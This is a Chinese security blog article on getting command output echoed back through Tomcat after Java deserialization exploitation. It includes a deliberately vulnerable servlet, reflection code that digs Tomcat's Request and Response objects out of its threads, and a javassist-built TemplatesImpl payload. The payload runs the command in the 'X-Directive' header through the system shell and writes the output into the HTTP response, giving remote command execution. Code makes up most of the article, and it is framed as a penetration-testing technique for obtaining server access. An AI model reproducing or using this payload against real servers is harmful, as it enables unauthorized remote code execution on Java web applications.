Java反序列化回显学习之Tomcat通用回显

2023-05-24 15,464


前言

反序列化命令回显和内存马是反序列化漏洞的具体实现,在渗透过程中主要依靠这两种方式来获取目标权限。因此,这是在学习Java反序列化漏洞过程中绕不开的两个点。由于在实战中遇到的环境都是不可预测的,对于渗透从业者来说就要学习各种中间件的回显方式和内存马注入方法。常用的Java反序列化回显的本质上是利用Java反序列化漏洞在服务器上执行Java代码获取Request、Response对象并将命令执行的接口写入返回给请求端。

反序列化回显

Java反序列化回显的方式有多种,比如中间件回显、写文件(css、js、txt等)、报错回显等等。其中,通过获取request对象来实现命令执行的回显方式是目前最为通用和弊端最少的方式。基本思路如下:第一步:寻找存储request对象的全局变量 Web中间件是多线程的应用,一般requst对象都会存储在线程对象中,可以通过Thread.currentThread()或Thread.getThreads()获取。第二步:半自动化反射搜索全局变量 这一步定位的是requst存储的具体位置,需要搜索requst对象具体存储在全局变量的那个属性里。我们可以通过反射技术遍历全局变量的所有属性的类型,若包含以下关键字可认为是我们要寻找的request对象。要实现以上的过程需要有相当扎实的代码基础和调试阅读能力,因此推荐一款Java内存对象搜索工具java-object-searcher。通过此工具可以快速方便的找到可利用request对象。

Tomcat通用回显

挖掘回显链

环境搭建参考:https://www.cnblogs.com/kibana/p/16084787.html,本次实验环境为JDK1.8、Tomcat8.5.50、idea2020.1,本地搭建环境后使用java-object-searcher 搜索可用request对象,所编写的demo在tomcat7/8上实验通过。给出一个测试例子,在执行反序列化操作处打断点使用java-object-searcher半自动搜索获取利用链。

package com.webtest;

import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectInputStream;

public class HelloTest extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {
        InputStream is = req.getInputStream();
        ObjectInputStream ois = new ObjectInputStream(is);
        try {
            ois.readObject();
        } catch (ClassNotFoundException e) {
            e.printStackTrace();
        }
    }
    @Override
    protected void doPost(HttpServletRequest req,HttpServletResponse resp) throws IOException {
        InputStream is = req.getInputStream();
        ObjectInputStream ois = new ObjectInputStream(is);
        try {
            ois.readObject();
        } catch (ClassNotFoundException e) {
            e.printStackTrace();
        }
    }
}

设置筛选条件如下。

//设置搜索类型包含Request关键字的对象
List<Keyword> keys = new ArrayList<>();
keys.add(new Keyword.Builder().setField_type("Request").build());
//定义黑名单
List<Blacklist> blacklists = new ArrayList<>();
blacklists.add(new Blacklist.Builder().setField_type("java.io.File").build());
//新建一个广度优先搜索Thread.currentThread()的搜索器
SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(),keys);
// 设置黑名单
searcher.setBlacklists(blacklists);
//打开调试模式,会生成log日志
searcher.setIs_debug(true);
//挖掘深度为20
searcher.setMax_search_depth(20);
//设置报告保存位置
searcher.setReport_save_path("D:\apache-tomcat-7.0.94\bin");
searcher.searchObject();

在搜索出的利用链中选择一个进行跟进分析。

TargetObject = {org.apache.tomcat.util.threads.TaskThread} 
    ---> group = {java.lang.ThreadGroup} 
        ---> threads = {class [Ljava.lang.Thread;} 
            ---> [16] = {java.lang.Thread} 
                ---> target = {org.apache.tomcat.util.net.NioEndpoint$Poller} 
                    ---> this$0 = {org.apache.tomcat.util.net.NioEndpoint} 
                        ---> handler = {org.apache.coyote.AbstractProtocol$ConnectionHandler} 
                            ---> global = {org.apache.coyote.RequestGroupInfo}

通过不断的反射调用最终来到global

Thread thread = Thread.currentThread();
ThreadGroup group = thread.getThreadGroup();
Thread[] threads = group.threads;
Thread t = threads[14];
Field f = t.getClass().getDeclaredField("target");
f.setAccessible(true);
Object target = f.get(t);
f = target.getClass().getDeclaredField("this$0");
f.setAccessible(true);
Object this$0 = f.get(target);
try{
    f = this$0.getClass().getDeclaredField("handler");  
}catch(NoSuchFieldException e){
    f = this$0.getClass().getSuperclass().getSuperclass().getDeclaredField("handler");
}
f.setAccessible(true);
Object handler = f.get(this$0);
f = handler.getClass().getDeclaredField("global");
f.setAccessible(true);
Object global = f.get(handler);

进而往下可以找到想要的Request对象。

根据利用链获取Request对象获取请求header头特定内容并打印输出。

package com.webtest;

import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;




/*
* TargetObject = {org.apache.tomcat.util.threads.TaskThread}
  ---> group = {java.lang.ThreadGroup}
   ---> threads = {class [Ljava.lang.Thread;}
    ---> [16] = {java.lang.Thread}
     ---> target = {org.apache.tomcat.util.net.NioEndpoint$Poller}
      ---> this$0 = {org.apache.tomcat.util.net.NioEndpoint}
         ---> handler = {org.apache.coyote.AbstractProtocol$ConnectionHandler}
          ---> global = {org.apache.coyote.RequestGroupInfo}
          * */


@WebServlet("/demo")
public class TestDemo extends HttpServlet {

    @Override
    protected void doGet(HttpServletRequest request, HttpServletResponse response) {
        
        ThreadGroup group = java.lang.Thread.currentThread().getThreadGroup();
        java.lang.reflect.Field f = null;
        Object obj = null;
        String flag = "hello world";
        Boolean success = false;
        try {
            f = group.getClass().getDeclaredField("threads");
            f.setAccessible(true);
            Thread[] threads = (Thread[]) f.get(group);
            for (int i = 0; i < threads.length; i++) {
                Thread t = threads[i];
                if (t == null ) continue;
                if (t.getName().contains("exec") || !t.getName().contains("http")) continue;
                System.out.println(t.getName());

                f = t.getClass().getDeclaredField("target");
                f.setAccessible(true);
                Object target = f.get(t);
                System.out.println(target.getClass());

                f = target.getClass().getDeclaredField("this$0");
                f.setAccessible(true);
                Object this$0 = f.get(target);
                System.out.println(this$0.getClass());

                try {
                    f = this$0.getClass().getDeclaredField("handler");
                }catch (NoSuchFieldException e0){
                    f = this$0.getClass().getSuperclass().getSuperclass().getDeclaredField("handler");
                }
                f.setAccessible(true);
                Object handler = f.get(this$0);

                f = handler.getClass().getDeclaredField("global");
                f.setAccessible(true);
                Object global = f.get(handler);
                System.out.println(global.getClass());

                f = global.getClass().getDeclaredField("processors");
                f.setAccessible(true);
                Object processors = f.get(global);
                System.out.println(processors.getClass());

                java.util.ArrayList processorList = (java.util.ArrayList) processors;
                for (int j = 0; j < processorList.size(); j++) {
                    Object processor = processorList.get(j);
                    System.out.println(processor.getClass());
                    f = processor.getClass().getDeclaredField("req");
                    f.setAccessible(true);
                    Object req = f.get(processor);
                    System.out.println(req.getClass());
                    Object resp = req.getClass().getMethod("getResponse").invoke(req);
                    System.out.println(resp.getClass());
                    flag = (String) req.getClass().getMethod("getHeader",new Class[]{String.class}).invoke(req,new Object[]{"wuhunantong"});

                    if (flag != null && !flag.isEmpty()){
                        try {
                            Class cls = Class.forName("org.apache.tomcat.util.buf.ByteChunk");
                            obj = cls.newInstance();
                            cls.getDeclaredMethod("setBytes"byte[].class, int.class, int.class).invoke(obj,flag.getBytes(),new Integer(0),new Integer(flag.getBytes().length));

                            resp.getClass().getDeclaredMethod("setStatus",new Class[]{Integer.TYPE}).invoke(resp,new Object[]{new Integer(404)});
                            resp.getClass().getDeclaredMethod("setHeader",new Class[]{String.class,String.class}).invoke(resp,new Object[]{"flag","1"});
                            resp.getClass().getDeclaredMethod("doWrite",new Class[]{cls}).invoke(resp,new Object[]{obj});

                        }catch (ClassNotFoundException e1){
                            Class cls = Class.forName("java.nio.ByteBuffer");
                            obj = cls.getDeclaredMethod("wrap"new Class[]{byte[].class}).invoke(cls, new Object[]{flag.getBytes()});
                            resp.getClass().getDeclaredMethod("setStatus",new Class[]{Integer.TYPE}).invoke(resp,new Object[]{new Integer(404)});
                            resp.getClass().getDeclaredMethod("setHeader",new Class[]{String.class,String.class}).invoke(resp,new Object[]{"flag","1"});
                            resp.getClass().getMethod("doWrite"new Class[]{cls}).invoke(resp, new Object[]{obj});
                        }
                        success = true;
                    }
                    if (success) break;
                }
                if (success) break;
            }
        } catch (Exception  e) {

        }
    }
}

适配反序列化利用链

TomcatEcho.java:利用javassit动态生成回显类

package util.exploit.templates;



import java.io.IOException;
import javassist.CannotCompileException;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import javassist.CtNewConstructor;
import javassist.NotFoundException;
import org.apache.xalan.xsltc.runtime.AbstractTranslet;


public class TomcatEcho {
    public static byte[] getBytes() throws CannotCompileException, NotFoundException, IOException {
        ClassPool pool = ClassPool.getDefault();

        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));

        String className = "TnT" + System.nanoTime();
        CtClass ctClass = pool.makeClass(className);

        ctClass.addMethod(CtMethod.make("private static void writeBody(Object var0, byte[] var1) throws Exception {n        Object var2;n        Class var3;n        try {n            var3 = Class.forName("org.apache.tomcat.util.buf.ByteChunk");n            var2 = var3.newInstance();n            var3.getDeclaredMethod("setBytes", new Class[]{byte[].class, Integer.TYPE, Integer.TYPE}).invoke(var2, new Object[]{var1, new Integer(0), new Integer(var1.length)});n            var0.getClass().getMethod("doWrite", new Class[]{var3}).invoke(var0, new Object[]{var2});n        } catch (NoSuchMethodException var5) {n            var3 = Class.forName("java.nio.ByteBuffer");n            var2 = var3.getDeclaredMethod("wrap", new Class[]{byte[].class}).invoke(var3, new Object[]{var1});n            var0.getClass().getMethod("doWrite", new Class[]{var3}).invoke(var0, new Object[]{var2});n        }n    }", ctClass));


        ctClass.addMethod(CtMethod.make("private static Object getFV(Object var0, String var1) throws Exception {n        java.lang.reflect.Field var2 = null;n        Class var3 = var0.getClass();nn        while(var3 != Object.class) {n            try {n                var2 = var3.getDeclaredField(var1);n                break;n            } catch (NoSuchFieldException var5) {n                var3 = var3.getSuperclass();n            }n        }nn        if (var2 == null) {n            throw new NoSuchFieldException(var1);n        } else {n            var2.setAccessible(true);n            return var2.get(var0);n        }n    }", ctClass));


        ctClass.addConstructor(CtNewConstructor.make("public " + className + "() throws Exception {n        boolean var4 = false;n        Thread[] var5 = (Thread[])getFV(Thread.currentThread().getThreadGroup(), "threads");nn        for(int var6 = 0; var6 < var5.length; ++var6) {n            Thread var7 = var5[var6];n            if (var7 != null) {n                String var3 = var7.getName();n                if (!var3.contains("exec") && var3.contains("http")) {n                    Object var1 = getFV(var7, "target");n                    if (var1 instanceof Runnable) {n                        try {n                            var1 = getFV(getFV(getFV(var1, "this$0"), "handler"), "global");n                        } catch (Exception var13) {n                            continue;n                        }nn                        java.util.List var9 = (java.util.List)getFV(var1, "processors");nn                        for(int var10 = 0; var10 < var9.size(); ++var10) {n                            Object var11 = var9.get(var10);n                            var1 = getFV(var11, "req");n                            Object var2 = var1.getClass().getMethod("getResponse", new Class[0]).invoke(var1, new Object[0]);n                            var3 = (String)var1.getClass().getMethod("getHeader", new Class[]{String.class}).invoke(var1, new Object[]{"X-Test"});n                            if (var3 != null && !var3.isEmpty()) {n                                var2.getClass().getMethod("setStatus", new Class[]{Integer.TYPE}).invoke(var2, new Object[]{new Integer(200)});n                                var2.getClass().getMethod("addHeader", new Class[]{String.class, String.class}).invoke(var2, new Object[]{"X-Test", var3});n                                var4 = true;n                            }nn                            var3 = (String)var1.getClass().getMethod("getHeader", new Class[]{String.class}).invoke(var1, new Object[]{"X-Directive"});n                            if (var3 != null && !var3.isEmpty()) {n                                var2.getClass().getMethod("setStatus", new Class[]{Integer.TYPE}).invoke(var2, new Object[]{new Integer(200)});n                                String[] var12 = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", var3} : new String[]{"/bin/sh", "-c", var3};n                                writeBody(var2, (new java.util.Scanner((new ProcessBuilder(var12)).start().getInputStream())).useDelimiter("\\A").next().getBytes());n                                var4 = true;n                            }nn                            var3 = (String)var1.getClass().getMethod("getHeader", new Class[]{String.class}).invoke(var1, new Object[]{"showpath"});n                            if (var3 != null && !var3.isEmpty()) {n                                var2.getClass().getMethod("setStatus", new Class[]{Integer.TYPE}).invoke(var2, new Object[]{new Integer(200)});n                                writeBody(var2, Thread.currentThread().getContextClassLoader().getResource("").getPath().getBytes());n                                var4 = true;n                            }nn                            if (var4) break;n                        }nn                        if (var4) break;n                    }n                }n            }n        }n    }", ctClass));


        CtClass superC = pool.get(AbstractTranslet.class.getName());
        ctClass.setSuperclass(superC);


        ctClass.getClassFile().setMajorVersion(50);

        return ctClass.toBytecode();
    }
}

修改payload.java

修改Gadget.java#creatTemplatesImpl 添加回显支持

本地测试可以正常得到执行回显结果。

参考链接

https://github.com/feihong-cs/Java-Rce-Echo/ https://gv7.me/articles/2020/semi-automatic-mining-request-implements-multiple-middleware-echo/

本文作者:TideSec

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/200930.html

Tags:
评论  (0)
快来写下你的想法吧!

TideSec

文章数:145 积分: 185

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号